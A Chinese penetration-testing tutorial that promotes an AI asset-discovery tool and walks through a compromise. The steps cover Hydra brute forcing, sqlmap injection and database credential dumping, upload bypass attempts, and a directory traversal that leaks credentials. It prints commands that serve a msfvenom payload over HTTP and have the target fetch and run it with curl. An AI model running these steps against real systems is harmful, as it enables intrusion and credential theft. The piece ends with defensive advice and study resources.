使用无问AI进行资产收集与渗透测试实战教学<\/h1>

一、无问AI资产收集功能概述<\/h2>

无问AI是一款提供资产探测功能的AI工具，其资产收集能力包括：<\/p>

网站标题识别<\/li>
URL链接收集<\/li>
IP地址探测<\/li>
备案号查询<\/li>

隐藏系统发现<\/li> <\/ul>

访问地址：http:\/\/chat.wwlib.cn\/<\/p>

二、资产收集实战步骤<\/h2>

1. 基础资产探测<\/h3>

访问无问AI平台<\/li>
输入目标域名（如示例中的百度）<\/li>

获取返回的资产信息，包括：

网站标题<\/li>
相关链接<\/li>
对应IP地址<\/li>

备案信息<\/li> <\/ul> <\/li> <\/ol>

2. 客户资产深度收集<\/h3>

输入客户特定域名<\/li>

分析返回结果，特别注意：

非标准端口服务<\/li>
未备案系统<\/li>

开发人员私自上线的系统<\/li> <\/ul> <\/li> <\/ol>

三、渗透测试实战流程<\/h2>

1. 初步漏洞探测<\/h3>

弱口令测试<\/strong>：<\/p>

尝试常见弱口令组合<\/li>
使用爆破工具（如Hydra）<\/li> <\/ul> <\/li>

SQL注入测试<\/strong>：<\/p>

使用sqlmap进行自动化检测<\/li>
首次失败后调整参数，指定数据类型<\/li>
成功识别时间注入漏洞<\/li> <\/ul> <\/li> <\/ol>
2. 注入漏洞利用<\/h3>

尝试--os-shell获取系统权限（本例中权限不足）<\/li>
数据库信息提取：

使用--dbs参数枚举数据库<\/li>
提取账号密码信息<\/li>
尝试登录后台系统<\/li> <\/ul> <\/li> <\/ol>
3. 上传点突破<\/h3>

寻找文件上传功能<\/li>
尝试绕过防护：

白名单绕过技术<\/li>
文件头伪造<\/li>
扩展名欺骗
（本例中未能成功绕过）<\/li> <\/ul> <\/li> <\/ol>
4. 端口与服务探测<\/h3>

发现6886端口的目录遍历漏洞<\/li>
通过遍历下载web.rar文件<\/li>
分析配置文件获取数据库凭证<\/li> <\/ol>
5. 权限获取与维持<\/h3>

使用msfvenom生成木马文件<\/li>
搭建公网HTTP服务（Python简易服务器）<\/li>
利用目标系统curl命令下载木马
python -m http.server 80<\/span> <\/span><\/span><\/code><\/pre><\/li> 在目标系统执行： curl http:\/\/your-server\/shell.exe -o shell.exe &&<\/span> shell.exe <\/span><\/span><\/code><\/pre><\/li> 使用Metasploit开启监听并获取shell<\/li> <\/ol> 四、关键技术与工具总结<\/h2> 资产收集工具<\/strong>：<\/p> 无问AI（核心推荐）<\/li> 其他可选：FOFA、Shodan、ZoomEye<\/li> <\/ul> <\/li> 渗透测试工具链<\/strong>：<\/p> sqlmap：自动化SQL注入检测与利用<\/li> Metasploit：漏洞利用框架<\/li> Hydra：密码爆破工具<\/li> Python HTTP Server：简易文件传输<\/li> <\/ul> <\/li> 常见漏洞类型<\/strong>：<\/p> SQL注入（特别是时间盲注）<\/li> 目录遍历<\/li> 配置信息泄露<\/li> 未授权访问<\/li> <\/ul> <\/li> <\/ol> 五、防御建议<\/h2> 资产层面<\/strong>：<\/p> 建立完整的资产清单<\/li> 定期扫描未备案系统<\/li> 监控非标准端口服务<\/li> <\/ul> <\/li> 漏洞防护<\/strong>：<\/p> 参数化查询防止SQL注入<\/li> 上传文件严格校验<\/li> 敏感配置文件加密存储<\/li> <\/ul> <\/li> 权限控制<\/strong>：<\/p> 最小权限原则<\/li> 命令执行限制<\/li> 网络出口过滤<\/li> <\/ul> <\/li> <\/ol> 六、学习资源推荐<\/h2> Web安全：<\/p> OWASP Top 10<\/li> Web应用安全测试指南<\/li> <\/ul> <\/li> 渗透测试：<\/p> Metasploit实战指南<\/li> Kali Linux工具集<\/li> <\/ul> <\/li> 持续学习：<\/p> FreeBuf安全社区<\/li> 漏洞银行平台<\/li> CTF竞赛参与<\/li> <\/ul> <\/li> <\/ol> 通过本案例可见，无问AI在资产收集阶段表现出色，能够帮助安全人员发现传统扫描可能遗漏的系统，为后续渗透测试提供坚实基础。建议安全从业者掌握此类AI工具与传统工具的结合使用，提升工作效率。<\/p>